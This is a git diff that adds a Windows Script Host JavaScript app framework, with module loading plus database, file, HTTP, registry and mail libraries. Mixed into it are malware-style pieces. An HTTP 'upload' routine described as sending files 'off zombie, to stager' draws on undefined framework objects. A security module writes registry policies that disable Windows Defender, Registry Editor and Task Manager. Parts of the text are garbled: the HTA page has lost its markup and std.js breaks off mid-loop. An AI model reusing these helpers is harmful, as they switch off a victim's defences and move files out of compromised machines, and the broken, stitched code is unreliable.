diff --git a/app.hta b/app.hta
new file mode 100644
index 0000000..14f15d2
--- /dev/null
+++ b/app.hta
@@ -0,0 +1,56 @@
+
+
+
+
+ Application Title
+
+
+
+
+ Hello world!
+
+
+
+
diff --git a/app.js b/app.js
new file mode 100644
index 0000000..ac40c14
--- /dev/null
+++ b/app.js
@@ -0,0 +1,128 @@
+//////////////////////////////////////////////////////////////////////////////////
+//
+// app.js
+//
+// Bootstrap code for running a javascript app in windows. Run as:
+//
+// cscript.js app.js ...
+//
+/////////////////////////////////////////////////////////////////////////////////
+// "use strict";
+
+/////////////////////////////////////////////////////////////////////////////////
+// Bootstrap code, basic module loading functionality
+/////////////////////////////////////////////////////////////////////////////////
+
+//
+// The module loaded is run inside a function, with one argument, global which
+// points to the global context. So global.FN is the same as FN (as long as a
+// version of FN does not exist in local scope).
+//
+// The module should return its interface at the end of the script. The basic
+// pattern for a module is:-
+//
+// var module = { ... };
+// return module;
+//
+// Or:-
+//
+// return function() {
+// }
+//
+// The appname argument causes .js to be loaded. The interface returned
+// must define main = function(args) {}, which is called once the module is
+// loaded.
+
+var console = {
+ log: function(msg, status) {
+ if(typeof(window) !== 'undefined') {
+ alert(msg);
+ } else if(typeof(WScript) !== 'undefined') {
+ WScript.echo(msg);
+ WScript.quit(status);
+ }
+ }
+};
+
+function CreateObject(n) {
+ return new ActiveXObject(n);
+}
+
+function require(FN) {
+ var cache = require.__cache = require.__cache || {};
+ if (FN.substr(FN.length - 3) !== '.js') FN += ".js";
+ if (cache[FN]) return cache[FN];
+ var FSO = CreateObject("Scripting.FileSystemObject");
+ var T = null;
+ try {
+ var TS = FSO.OpenTextFile(FN, 1);
+ if (TS.AtEndOfStream) return "";
+ T = TS.ReadAll();
+ TS.Close();
+ TS = null;
+ } catch (e) {
+ console.log("LOAD ERROR! " + e.number + ", " + e.description + ", FN=" + FN, 1);
+ return;
+ }
+ FSO = null;
+ T = "(function(global){\n" + '"use strict";' + "\n" + T + "})(this);\n\n////@ sourceURL=" + FN;
+ try {
+ cache[FN] = eval(T);
+ } catch (e) {
+ console.log("PARSE ERROR! " + e.number + ", " + e.description + ", FN=" + FN, 1);
+ }
+ if ("VERSIONINFO" in cache[FN]) console.log(cache[FN].VERSIONINFO);
+ return cache[FN];
+}
+
+/////////////////////////////////////////////////////////////////////////////////
+// Load script, and call app.main()
+/////////////////////////////////////////////////////////////////////////////////
+
+function init_console() {
+ var arguments = WScript.arguments;
+ if (arguments.length > 0) {
+ var args = [];
+ for (var i = 0; i < arguments.length; i++) {
+ args.push(WScript.arguments(i));
+ }
+ var name = args.shift();
+ var app = require(name);
+ if (app) {
+ if (app.main) {
+ var exitstatus = app.main.call(app, args);
+ if (typeof exitstatus != undefined) {
+ WScript.quit(exitstatus);
+ }
+ } else {
+ console.log("Error, missing main entry point in " + name + ".js", 1);
+ }
+ } else {
+ console.log("Error, cannot find " + name + ".js", 1);
+ }
+ }
+}
+
+function init_window(name, args) {
+ var app = require(name);
+ if (app) {
+ if (app.main) {
+ app.main.call(app, args);
+ return true;
+ } else {
+ return false;
+ }
+ } else {
+ return false;
+ }
+}
+
+function main() {
+ if(typeof(window) == 'undefined') {
+ init_console();
+ } else {
+ console.log("welcome");
+ }
+}
+
+main();
diff --git a/app/index.js b/app/index.js
new file mode 100644
index 0000000..6f54d34
--- /dev/null
+++ b/app/index.js
@@ -0,0 +1,18 @@
+/*
+ * index.js
+ */
+
+var LIB = require('lib/std');
+//var DB = require('lib/db');
+
+return {
+ main: function() {
+ console.log("welcome index.js");
+
+ document.getElementById("click1").onclick = function() {
+ alert("hello world");
+ };
+
+ return 0;
+ }
+}
diff --git a/lib/db.js b/lib/db.js
new file mode 100644
index 0000000..773428c
--- /dev/null
+++ b/lib/db.js
@@ -0,0 +1,117 @@
+////////////////////////////////////////////////////////////////////////
+// Example Database API
+////////////////////////////////////////////////////////////////////////
+
+var module = { VERSIONINFO: "Database Module (db.js) version 1.0", global: global };
+
+var LIB = require("lib/std");
+
+module.open = function(cs) {
+ var instance = {};
+
+ // Create a database connection and open the database, setting isolation level
+ // and timeouts
+ var open = function(cs) {
+ try {
+ instance.Connection = LIB.CreateObject("ADODB.Connection");
+ } catch(e) {
+ DBG("Failed to create ADODB.Connection, error = " + e.number + ", " + e.description);
+ return;
+ }
+ instance.ConnectionString = cs;
+ instance.Connection.open(instance.ConnectionString);
+ instance.Connection.IsolationLevel = 256; // Uncommitted Reads
+ instance.Connection.CommandTimeout = 300; // 5 minute command timeout
+ };
+
+ // Open the database
+ open(cs);
+
+ // Close and re-open the database.
+ instance.reopen = function() {
+ instance.Connection.close();
+ open(instance.ConnectionString);
+ };
+
+ // instance.Query
+ // Run a read only query on the database. Returns a recordset
+ instance.query = function(sql) {
+ var RS = LIB.CreateObject("ADODB.Recordset");
+ RS.LockType = 1; // adLockReadOnly
+ RS.CursorType = 1; // adOpenKeySet
+ DBG("> " + sql);
+ RS.Open(sql,instance.Connection);
+ return RS;
+ };
+
+ // instance.exec
+ // Run a statement (update or insert) and return true if successful
+ instance.exec = function(sql) {
+ DBG("> " + sql);
+ var ok;
+ try {
+ ok = instance.Connection.Execute(sql);
+ } catch(e) {
+ ok = null;
+ LIB.emailError(e, sql);
+ instance.lastError = e;
+ }
+ return ok;
+ };
+
+ instance.insert = function(table, columns) {
+ DBG("> insert into " + table + " some data!");
+ var RS = LIB.CreateObject("ADODB.Recordset");
+ RS.open(table, instance.Connection, 2, 3, 2);
+ RS.addNew();
+ for (var col in columns) {
+ RS(col).value = columns[col]||null;
+ }
+ RS.Update();
+ RS.moveLast();
+ var id = RS(0).value;
+ RS.close();
+ return id;
+ };
+
+ instance.close = function() {
+ };
+
+ return instance;
+}
+
+module.blob2Text = function(blobField, charset) {
+ var stream = LIB.CreateObject("ADODB.Stream");
+ stream.Charset = (charset || "us-ascii").replace(/;$/,"");
+ stream.Type = 1;
+ stream.Open();
+ DBG("WRITE STREAM");
+ stream.Write(blobField);
+ DBG("DONE WRITE STREAM");
+ stream.Position = 0;
+ stream.Type = 2;
+ var text = stream.ReadText(-1);
+ stream.Close();
+ return text;
+};
+
+module.saveBlob = function(filename, blobField) {
+ try {
+ var stream = LIB.CreateObject("ADODB.Stream");
+ stream.Type = 1;
+ stream.Open();
+ stream.Write(blobField);
+ stream.Position = 0;
+ stream.saveToFile(filename, 2);
+ stream.Close();
+ return true;
+ } catch(e) {
+ DBG("ERROR " + e.number + " saving blob: " + e.description);
+ }
+};
+
+module.quoteString = function(s) {
+ return "'" + s.replace(/\'/g,"''") + "'";
+};
+
+return module;
diff --git a/lib/file.js b/lib/file.js
new file mode 100644
index 0000000..e240d01
--- /dev/null
+++ b/lib/file.js
@@ -0,0 +1,134 @@
+//////////////////////////////////////////////////////////////////////////////////
+//
+// file-lib.js
+//
+// Common routines. Defines LIB object which contains the API, as well as
+// a global DBG function.
+//
+/////////////////////////////////////////////////////////////////////////////////
+
+var LIB = require('lib/std');
+
+/////////////////////////////////////////////////////////////////////////////////
+// Private APIs / Utility functions
+/////////////////////////////////////////////////////////////////////////////////
+
+var module = { global: global, require: global.require };
+module.VERSIONINFO = "File Lib (file-libs.js) version 0.1";
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.fileExists
+/////////////////////////////////////////////////////////////////////////////////
+
+module.fileExists = function(FN) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var exists = FSO.FileExists(FN);
+ FSO = null;
+ return exists;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.folderExists
+/////////////////////////////////////////////////////////////////////////////////
+
+module.folderExists = function(FN) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var exists = FSO.FolderExists(FN);
+ FSO = null;
+ return exists;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.fileGet
+/////////////////////////////////////////////////////////////////////////////////
+
+module.fileGet = function(FN) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var file = FSO.GetFile(FN);
+ FSO = null;
+ return file;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.readFile
+// Read the conents of the pass filename and return as a string
+/////////////////////////////////////////////////////////////////////////////////
+
+module.readFile = function(FN) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var T = null;
+ try {
+ var TS = FSO.OpenTextFile(FN,1);
+ if (TS.AtEndOfStream) return "";
+ T = TS.ReadAll();
+ TS.Close();
+ TS = null;
+ } catch(e) {
+ DBG("ERROR! " + e.number + ", " + e.description + ", FN=" + FN);
+ }
+ FSO = null;
+ return T;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.writeFile
+// Write the passed content to named disk file
+/////////////////////////////////////////////////////////////////////////////////
+
+module.writeFile = function(FN, content, charset) {
+ var ok;
+ if (charset) {
+ DBG("WRITE TO DISK USING ADODB.Stream CHARSET " + charset);
+ try {
+ var fsT = module.CreateObject("ADODB.Stream");
+ fsT.Type = 2; // save as text/string data.
+ fsT.Charset = charset; // Specify charset For the source text data.
+ fsT.Open();
+ fsT.WriteText(content);
+ fsT.SaveToFile(FN, 2); // save as binary to disk
+ ok = true;
+ } catch(e) {
+ DBG("ADODB.Stream: ERROR! " + e.number + ", " + e.description + ", FN=" + FN);
+ }
+ } else {
+ DBG("WRITE TO DISK USING OpenTextFile CHARSET ascii");
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ try {
+ var TS = FSO.OpenTextFile(FN,2,true,0); // ascii
+ TS.Write(content);
+ TS.Close();
+ TS = null;
+ ok = true;
+ } catch(e) {
+ DBG("OpenTextFile: ERROR! " + e.number + ", " + e.description + ", FN=" + FN);
+ }
+ FSO = null;
+ }
+ return ok;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.moveFile
+/////////////////////////////////////////////////////////////////////////////////
+
+module.moveFile = function(FROM, TO) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var res = FSO.MoveFile(FROM, TO);
+ FSO = null;
+ return res;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+// module.createFolder
+/////////////////////////////////////////////////////////////////////////////////
+
+module.createFolder = function(FN) {
+ var FSO = module.CreateObject("Scripting.FileSystemObject");
+ var res = FSO.CreateFolder(FN);
+ FSO = null;
+ return res;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+
+return module;
diff --git a/lib/http.js b/lib/http.js
new file mode 100644
index 0000000..34ca432
--- /dev/null
+++ b/lib/http.js
@@ -0,0 +1,126 @@
+////////////////////////////////////////////////////////////////////////
+// HTTP API
+////////////////////////////////////////////////////////////////////////
+
+var module = { VERSIONINFO: "HTTP Module (http.js) version 0.1", global: global };
+
+var LIB = require('lib/std');
+
+module.create = function() {
+ var http = null;
+
+ try {
+ http = LIB.CreateObject("Microsoft.XMLHTTP");
+ } catch (e) {
+ http = LIB.CreateObject("WinHttp.WinHttpRequest.5.1");
+ http.setTimeouts(30000, 30000, 30000, 0)
+ }
+
+ return http;
+}
+
+module.addHeaders = function(http, headers) {
+ var headers = (typeof(headers) !== "undefined") ? headers : {};
+
+ var content = false;
+ for (var key in headers) {
+ var value = headers[key];
+
+ http.setRequestHeader(key, value);
+ if (key.toUpperCase() == "CONTENT-TYPE")
+ content = true;
+ }
+
+ if (!content)
+ http.setRequestHeader("Content-Type", "application/octet-stream");
+};
+
+module.post = function(url, data, headers) {
+ var data = (typeof(data) !== "undefined") ? data : "";
+
+ var http = module.create();
+
+ http.open("POST", url, false);
+ module.addHeaders(http, headers);
+ http.send(data);
+
+ return http;
+};
+
+module.get = function(url, headers) {
+ var http = module.create();
+ http.open("GET", url, false);
+ module.addHeaders(http, headers);
+ http.send();
+
+ return http;
+};
+
+/**
+ * Upload a file, off zombie, to stager
+ *
+ * @param filepath - the full path to the file to send
+ * @param header_uuid - a unique identifier for this file
+ * @param header_key - optional HTTP header tag to send uuid over
+ *
+ * @return object - the HTTP object
+ *
+ **/
+module.upload = function(filepath, header_uuid, header_key) {
+ var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
+
+ var data = $.file.readBinary(filepath);
+
+ // we must replace null bytes or MS will cut off the body
+ data = data.replace(/\\/g, "\\\\");
+ data = data.replace(/\0/g, "\\0");
+
+ var headers = {};
+ headers[key] = header_uuid;
+
+ return $.work.report(data, headers);
+};
+
+module.download = function(filepath, header_uuid, header_key) {
+ var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
+
+ var headers = {};
+ headers[key] = header_uuid;
+
+ return module.downloadEx("POST", $.work.make_url(), headers, filepath);
+};
+
+module.downloadEx = function(verb, url, headers, path) {
+ if (verb == "GET") {
+ var http = module.get(url, headers);
+ } else {
+ var http = module.post(url, "", headers);
+ }
+
+ var stream = LIB.CreateObject("Adodb.Stream");
+ stream.Type = 1;
+ stream.Open();
+ stream.Write(http.responseBody);
+
+ var data = module.bin2str(stream);
+ $.file.write(path, data);
+};
+
+module.bin2str = function(stream) {
+ stream.Flush();
+ stream.Position = 0;
+
+ var bin = stream.Read();
+ var rs = LIB.CreateObject("Adodb.RecordSet");
+ rs.Fields.Append("temp", 201, stream.Size);
+
+ rs.Open();
+ rs.AddNew();
+ rs("temp").AppendChunk(bin);
+ rs.Update();
+ var data = rs.GetString();
+ rs.Close();
+ return data.substring(0, data.length - 1);
+};
+
+return module;
diff --git a/lib/json.js b/lib/json.js
new file mode 100644
index 0000000..f42a30b
--- /dev/null
+++ b/lib/json.js
@@ -0,0 +1,54 @@
+////////////////////////////////////////////////////////////////////////
+// JSON API
+////////////////////////////////////////////////////////////////////////
+
+var module = { VERSIONINFO: "JSON Module (json.js) version 0.1", global: global };
+
+module.stringify = function(obj) {
+ var items = [];
+ var isArray = (function(_obj) {
+ try {
+ return (_obj instanceof Array);
+ } catch (e) {
+ return false;
+ }
+ })(obj);
+ var _toString = function(_obj) {
+ try {
+ if(typeof(_obj) == "object") {
+ return $.json.encode(_obj);
+ } else {
+ var s = String(_obj).replace(/"/g, '\\"');
+ if(typeof(_obj) == "number" || typeof(_obj) == "boolean") {
+ return s;
+ } else {
+ return '"' + s + '"';
+ }
+ }
+ } catch (e) {
+ return "null";
+ }
+ };
+
+ for(var k in obj) {
+ var v = obj[k];
+
+ if(!isArray) {
+ items.push('"' + k + '":' + _toString(v));
+ } else {
+ items.push(_toString(v));
+ }
+ }
+
+ if(!isArray) {
+ return "{" + items.join(",") + "}";
+ } else {
+ return "[" + items.join(",") + "]";
+ }
+};
+
+module.parse = function(jsonString) {
+ return (new Function("return " + jsonString)());
+};
+
+return module;
diff --git a/lib/registry.js b/lib/registry.js
new file mode 100644
index 0000000..ad62273
--- /dev/null
+++ b/lib/registry.js
@@ -0,0 +1,117 @@
+////////////////////////////////////////////////////////////////////////
+// Registry API
+////////////////////////////////////////////////////////////////////////
+
+var module = { VERSIONINFO: "Registry Module (registry.js) version 0.1", global: global };
+
+// http://apidock.com/ruby/Win32/Registry/Constants
+module.HKCR = 0x80000000;
+module.HKCU = 0x80000001;
+module.HKLM = 0x80000002;
+
+module.STRING = 0;
+module.BINARY = 1;
+module.DWORD = 2;
+module.QWORD = 3;
+
+module.provider = function(computer)
+{
+ var computer = (typeof(computer) !== "undefined") ? computer : ".";
+ var reg = GetObject("winmgmts:\\\\" + computer + "\\root\\default:StdRegProv");
+ return reg;
+}
+
+module.write = function(hKey, path, key, value, valType, computer)
+{
+ var reg = module.provider(computer);
+
+ reg.CreateKey(hKey, path);
+
+ if (valType == module.STRING)
+ reg.SetStringValue(hKey, path, key, value);
+ else if (valType == module.DWORD)
+ reg.SetDWORDValue(hKey, path, key, value);
+ else if (valType == module.QWORD)
+ reg.SetQWORDValue(hKey, path, key, value);
+ else if (valType == module.BINARY)
+ reg.SetBinaryValue(hKey, path, key, value);
+}
+
+module.read = function(hKey, path, key, valType, computer)
+{
+ var reg = module.provider(computer);
+
+ var methodName = "";
+ if (valType == module.STRING)
+ methodName = "GetStringValue";
+ else if (valType == module.DWORD)
+ methodName = "GetDWORDValue";
+ else if (valType == module.QWORD)
+ methodName = "GetQWORDValue";
+ else if (valType == module.BINARY)
+ methodName = "GetBinaryValue";
+
+ if (methodName == "")
+ return;
+
+ var method = reg.Methods_.Item(methodName);
+ var inparams = method.InParameters.SpawnInstance_();
+
+ inparams.hDefKey = hKey;
+ inparams.sSubKeyName = path;
+ inparams.sValueName = key;
+
+ var outparams = reg.ExecMethod_(method.Name, inparams);
+
+ return outparams;
+}
+
+module.destroy = function(hKey, path, key, computer)
+{
+ var reg = module.provider(computer);
+ var loc = (key == "") ? path : path + "\\" + key;
+ return reg.DeleteKey(hKey, loc);
+}
+
+/*
+// DEPRECATED
+module.create = function(hiveKey, path, key, computer)
+{
+ var computer = (typeof(computer) !== "undefined") ? computer : ".";
+ var sw = new ActiveXObject("WbemScripting.SWbemLocator");
+ var root = sw.ConnectServer(computer, "root\\default");
+ var reg = root.get("StdRegProv");
+
+ var enumKey = reg.Methods_.Item("EnumKey");
+
+ var inParams = enumKey.InParameters.SpawnInstance_();
+ inParams.hDefKey = hiveKey;
+ inParams.sSubKeyName = path;
+
+ var outParam = reg.ExecMethod_(enumKey.Name, inParams);
+
+ if (outParam.ReturnValue != 0)
+ return false;
+
+ if (outParam.sNames)
+ {
+ var subKeys = outParam.sNames.toArray();
+
+ for (var i = 0; i < subKeys.length; ++i)
+ {
+ if (subkeys[i].toUpperCase() == key.toUpperCase())
+ return true;
+ }
+ }
+
+ var createKey = reg.Methods_.Item("CreateKey");
+ var createArgs = createKey.InParameters.SpawnInstance_();
+ createArgs.hDefKey = hiveKey;
+ createArgs.sSubKeyName = path + "\\" + key;
+
+ var createRet = reg.ExecMethod_(createKey.Name, createArgs);
+ return createRet.returnValue == 0;
+}
+*/
+
+return module;
diff --git a/lib/security.js b/lib/security.js
new file mode 100644
index 0000000..4515589
--- /dev/null
+++ b/lib/security.js
@@ -0,0 +1,40 @@
+////////////////////////////////////////////////////////////////////////
+// Security API
+////////////////////////////////////////////////////////////////////////
+
+var module = { VERSIONINFO: "Security Module (security.js) version 0.1", global: global };
+var registry = require("registry");
+
+module.DISABLED = 0x00000001;
+module.ENABLED = 0x00000000;
+
+// check 'run as administrator'
+module.isElevated = function() {
+ try {
+ WS.RegRead("HKEY_USERS\\s-1-5-19\\");
+ return true;
+ } catch(e) {
+ return false;
+ }
+}
+
+// turn on/off Windows Defender
+module.setAntiSpyware = function(buffer) {
+ var path = "SOFTWARE\\Policies\\Microsoft\\Windows Defender";
+ var key = "DisableAntiSpyware";
+ registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
+}
+
+// trun on/off Registry Editor (regedit)
+module.setRegedit = function(buffer) {
+ var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
+ var key = "DisableRegistryTools";
+ registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
+}
+
+// turn on/off Task Manager (taskmgr)
+module.setTaskmgr = function(buffer) {
+ var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
+ var key = "DisableTaskMgr";
+ registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
+}
diff --git a/lib/sendmail.js b/lib/sendmail.js
new file mode 100644
index 0000000..f5ea9c2
--- /dev/null
+++ b/lib/sendmail.js
@@ -0,0 +1,109 @@
+//////////////////////////////////////////////////////////////////////////////////
+//
+// sendmail.js
+//
+// Sendmail using either CDO or Persits.MailSender
+//
+/////////////////////////////////////////////////////////////////////////////////
+
+var LIB = require('lib/std');
+
+/////////////////////////////////////////////////////////////////////////////////
+// Private APIs / Utility functions
+/////////////////////////////////////////////////////////////////////////////////
+
+var module = { global: global, require: global.require };
+module.VERSIONINFO = "sendmail Lib (sendmail.js) version 0.1";
+
+/////////////////////////////////////////////////////////////////////////////////
+// Send Mail Message
+/////////////////////////////////////////////////////////////////////////////////
+
+module.sendmail = function(msg) {
+ var ok, MAIL;
+
+ DBG("SENDMAIL: " + msg.To);
+
+ // Which method we use depends on the system. On some versions of
+ // Persits.MailSender it does not support adding of Message-ID
+ // so we have to use CDO (which is the preferred option anyway).
+ if (module.usePersitsMailSender) {
+
+ // Use Persits AspEmail to send mail
+ try {
+ MAIL = module.CreateObject("Persits.MailSender");
+ } catch(e) {
+ DBG("ERROR " + e.number + ", " + e.description);
+ throw e;
+ }
+
+ DBG("USING PERSITS MAIL SENDER");
+ DBG("MAIL FROM " + msg.From);
+ DBG("MAIL TO " + msg.To);
+ DBG("SUBJECT " + msg.Subject);
+
+ MAIL.Host = msg.MAILHOST;
+ MAIL.From = msg.From;
+ if (msg.Name) MAIL.FromName = msg.Name;
+ MAIL.AddAddress(msg.To);
+ MAIL.Subject = msg.Subject;
+ if (msg.cc) MAIL.AddCC(msg.Cc);
+ MAIL.IsHTML = msg.IsHTML;
+ MAIL.Body = msg.Body;
+ MAIL.addCustomHeader("Reply-To: <" + msg.ReplyTo + ">");
+ DBG("Reply-To: <" + msg.ReplyTo + ">");
+ if (msg.id) {
+ DBG("Message-ID: <" + msg.id + ">");
+ MAIL.addCustomHeader("Message-ID: <" + msg.id + ">");
+ }
+
+ } else {
+
+ // Use CDO objects to send mail. Setup SMTP server details.
+ var CONF = LIB.CreateObject("CDO.Configuration");
+ CONF.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;
+ CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = msg.MAILHOST;
+ CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = msg.MAILPORT || 25;
+ CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 0;
+ CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 0;
+ CONF.Fields.Update();
+
+ // Create the email message
+ MAIL = LIB.CreateObject("CDO.Message");
+ MAIL.Configuration = CONF;
+ CONF = null;
+ if (msg.Name) {
+ MAIL.From = '"' + msg.Name + '" <' + msg.From + '>';
+ } else {
+ MAIL.From = msg.From;
+ }
+ MAIL.To = msg.To;
+ if (msg.Cc) MAIL.Cc = msg.cc;
+ MAIL.Subject = msg.Subject;
+ MAIL.Fields("urn:schemas:mailheader:reply-to") = "<" + msg.ReplyTo + ">";
+ MAIL.Fields("urn:schemas:mailheader:message-id") = "<" + msg.id + ">";
+ if (msg.IsHTML) {
+ MAIL.HTMLBody = msg.Body;
+ } else {
+ MAIL.TextBody = msg.Body;
+ }
+ MAIL.Fields.Update();
+ }
+
+ try {
+ DBG("Sending email To " + msg.To + (msg.Cc ? " (Cc " + msg.Cc + ")" : ""));
+ MAIL.Send();
+ ok = true;
+ } catch(e) {
+ DBG(e.number + "," + e.description);
+ ok = false;
+ DBG("failed");
+ }
+
+ MAIL = null;
+ return ok;
+};
+
+/////////////////////////////////////////////////////////////////////////////////
+
+return module;
diff --git a/lib/std.js b/lib/std.js
new file mode 100644
index 0000000..96ad6b4
--- /dev/null
+++ b/lib/std.js
@@ -0,0 +1,182 @@
+//////////////////////////////////////////////////////////////////////////////////
+//
+// std.js
+//
+// Common routines. Defines LIB object which contains the API, as well as
+// a global DBG function.
+//
+// References
+// * https://github.com/redskyit/wsh-appjs
+// * https://github.com/JSman-/JS-Framework
+//
+/////////////////////////////////////////////////////////////////////////////////
+
+/////////////////////////////////////////////////////////////////////////////////
+// Global APIs
+/////////////////////////////////////////////////////////////////////////////////
+
+Function.prototype.GetResource = function(ResourceName)
+{
+ if (!this.Resources)
+ {
+ var UnNamedResourceIndex = 0, _this = this;
+ this.Resources = {};
+
+ function f(match, resType, Content)
+ {
+ _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content;
+ }
+ this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f);
+ }
+
+ return this.Resources[ResourceName];
+}
+
+global.GetResource = function(ResourceName)
+{
+ return arguments.callee.caller.GetResource(ResourceName);
+}
+
+global.sleep = function(ms, callback) {
+ WScript.Sleep(ms);
+ if(typeof(callback) == "function") {
+ callback();
+ }
+}
+
+global.exit = function() {
+ WScript.Quit();
+}
+
+if (!('toArray' in Enumerator.prototype)) {
+ Enumerator.prototype.toArray = function() {
+ var Result = [];
+ for (;!this.atEnd();this.moveNext())
+ Result.push(this.item())
+ return Result;
+ }
+}
+
+if (!('forEach' in Enumerator.prototype)) {
+ Enumerator.prototype.forEach = function(action, that /*opt*/) {
+ this.toArray().forEach(action, that);
+ }
+}
+
+// Add ECMA262-5 method binding if not supported natively
+if (!('bind' in Function.prototype)) {
+ Function.prototype.bind = function(owner) {
+ var that= this;
+ if (arguments.length<=1) {
+ return function() {
+ return that.apply(owner, arguments);
+ };
+ } else {
+ var args= Array.prototype.slice.call(arguments, 1);
+ return function() {
+ return that.apply(owner, arguments.length===0? args : args.concat(Array.prototype.slice.call(arguments)));
+ };
+ }
+ };
+}
+
+// Add ECMA262-5 string trim if not supported natively
+//
+if (!('trim' in String.prototype)) {
+ String.prototype.trim = function() {
+ return this.replace(/^\s+/, '').replace(/\s+$/, '');
+ };
+}
+
+// Add ECMA262-5 Array methods if not supported natively
+//
+if (!('indexOf' in Array.prototype)) {
+ Array.prototype.indexOf = function(find, i /*opt*/) {
+ if (i===undefined) i= 0;
+ if (i<0) i+= this.length;
+ if (i<0) i= 0;
+ for (var n= this.length; ithis.length-1) i= this.length-1;
+ for (i++; i-->0;) /* i++ because from-argument is sadly inclusive */
+ // if (i in this && this[i]===find)
+ if (this[i]===find)
+ return i;
+ return -1;
+ };
+}
+
+if (!('forEach' in Array.prototype)) {
+ Array.prototype.forEach = function(action, that /*opt*/) {
+ for (var i= 0, n= this.length; i